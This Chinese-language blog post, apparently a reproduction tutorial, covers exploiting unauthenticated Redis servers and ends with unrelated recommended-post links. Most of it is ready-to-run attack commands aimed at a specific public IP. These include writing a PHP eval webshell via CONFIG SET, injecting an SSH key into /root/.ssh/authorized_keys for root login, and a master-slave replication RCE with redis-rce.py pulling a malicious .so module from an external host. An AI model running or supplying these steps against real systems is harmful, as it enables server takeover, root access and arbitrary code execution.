redis环境搭建


下载有漏洞的redis版本

wget http://download.redis.io/releases/redis-3.2.11.tar.gz



编译文件

make



进入src目录,拷贝两个启动文件到/usr/bin/,返回上一级并拷贝redis.conf到etc目录

cp redis-server /usr/bin/

cp redis-cli /usr/bin/

cp redis.conf /etc/



编辑/etc/redis.conf文件取消本地IP访问绑定,并关闭保护模式,允许远程连接redis服务



使用redis-server /etc/redis.conf启动redis服务



攻击机直接下载redis拷贝文件即可

漏洞利用


使用namp检测远程主机redis开放情况

nmap -A -p 6379 --script redis-info 94.191.84.130



直接尝试登录redis

redis-cli -h 94.191.84.130

使用info查看信息



低权限写文件(需要有增删改查权限)

设置备份目录

CONFIG SET dir /tmp

设置文件名

CONFIG SET dbfilename webshell.php

向备份文件中写入一句话

CONFIG SET webshell "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"

保存

save



利用"公私钥"认证获取root权限,ssh免密登陆目标服务器


  1. 生成公私钥并导出公钥为txt格式
  2. 写入公钥到redis
  3. 连接目标redis服务
  4. 设置备份目录为SSH公钥存放路径/root/.ssh
  5. 设置备份文件名
  6. 保存备份(写入公钥)
  7. 免密ssh登陆

生成公私钥

ssh-keygen -t rsa



导出公钥为txt格式

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt



写入redis缓存

cat 1.txt | redis-cli -h 94.191.84.130 -x set crack



连接redis查看并设置备份目录

redis-cli -h 94.191.84.130

CONFIG GET dir

CONFIG SET dir /root/.ssh



设置备份文件名并保存备份文件

CONFIG set dbfilename authorized_keys

save



使用私钥免密登陆ssh

ssh -i id_rsa root@94.191.84.130

Redis 基于主从复制的 RCE 利用方式


1 . 连接远程未授权redis服务器

2 .设置主服务器为自己服务器

3.Redis的主机实例通过FULLRESYNC(全量复制)同步文件到从机上

4.然后在从机上加载so文件

5.直接执行恶意命令

先本地开启一个redis>4.0的版本,然后执行

python3.7 redis-rce.py -r free.idcfengye.com -p 10407 -L 94.191.84.130 -f exp.so

redis未授权访问简单总结的更多相关文章

  1. Redis未授权访问

    最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...

  2. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  3. redis未授权访问批量验证脚本编写[python]

    漏洞简介 简单来说,redis是一个数据库.在默认的配置下,redis绑定在0.0.0.0:6379,也就是说,如果服务器有公网ip,可以通过访问其公网ip的6379端口来操作redis.最为致命的是 ...

  4. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  5. Redis未授权访问写Webshell和公私钥认证获取root权限

    0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服 ...

  6. Redis未授权访问利用

    转载:https://www.cnblogs.com/-qing-/p/10978912.html 0x01 kali安装redis 下载 wget http://download.redis.io/ ...

  7. Redis未授权访问漏洞复现及修复方案

    首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...

  8. 基于Redis未授权访问的挖矿蠕虫分析

    0x01 攻击方式 利用的是通用漏洞入侵服务器并获得相关权限,从而植入挖矿程序再进行隐藏. 通过对脚本的分析,发现黑客主要是利用 Redis未授权访问漏洞进行入侵.脚本里有个python函数. imp ...

  9. 浅谈Redis未授权访问漏洞

    Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...

随机推荐

  1. 深入理解 nth-child 和 nth-of-type 的区别

    ele:nth-of-type(n)  为什么叫 of-type ,就是说它是以“type”来区分的,也就是说ele:nth-of-type(n)指的是父元素下第n个ele元素. ele:nth-ch ...

  2. 手把手教你利用Docker+jenkins部署你的网站

    更新服务器的安装源为阿里的源,参考链接:https://blog.csdn.net/js_xh/article/details/79166655 安装docker; 1 更新资源 sudo apt-g ...

  3. PHP丨PHP基础知识之条件语IF判断「理论篇」

    if语句是指编程语言(包括c语言.C#.VB.java.php.汇编语言等)中用来判定所给定的条件是否满足,根据判定的结果(真或假)决定执行给出的两种操作之一. if语句概述 if语句是指编程语言(包 ...

  4. gitbub.com设置协作者提交代码步骤

    1. 邀请协作者 点击settings 2. 等待协作者接受邀请 关注注册邮箱 3. 协作者生成公钥 一路回车即可 ssh-keygen -t rsa -b 4096 -C "公众号:九点半 ...

  5. vue通过属性绑定为元素设置class样式

    第一种方式,直接传递一个数组,注意使用v-bind绑定             <h1 :class="['red','size'">这是一个h1文本</h1&g ...

  6. java 虚拟机指令重新排序

    指令重排序是JVM为了优化指令,提高程序运行效率,在不影响单线程程序执行结果的前提下,尽可能地提高并行度.编译器.处理器也遵循这样一个目标.注意是单线程.多线程的情况下指令重排序就会给程序员带来问题. ...

  7. 车辆运动控制算法——MPC

    MPC是模型预测控制算法,在车辆运动跟踪轨迹的控制中发挥很大的优势 基础的不多说,下面记录我对LQR/MPC/二次规划问题的理解 我们从LQR来引出MPC LQR的能量函数,目的是求函数J最小,即用最 ...

  8. nginx web服务器概念了解 配置

    服务器 服务器 服务器是一种提供高效计算的机器,与普通的PC主机相比,具有可观的稳定性,高并发性,可扩展性. 互联网任何一个应用都是以服务器为基础设施的,没有服务器我们就无法访问网络上的任何内容,只能 ...

  9. Nginx配置upstream并且实现负载均衡

    感谢看过这一些列博文和评论的小伙伴, 我把自己所看到的学到的拿到这里来分享是想和大家一起学习进步, 想听听园友给出的意见, 也是对自己学习过程的一个总结. 技术无止境, 我们仍需努力! 1,话不多说, ...

  10. 三.接收并处理请求参数与QueryDict对象

     一.get与post请求:重点看传参与接收参数 GET请求与传参   ---->url后面跟上?k1=v1&&k2=v2 POST请求与数据提交 (1)get请求:如直接在浏览 ...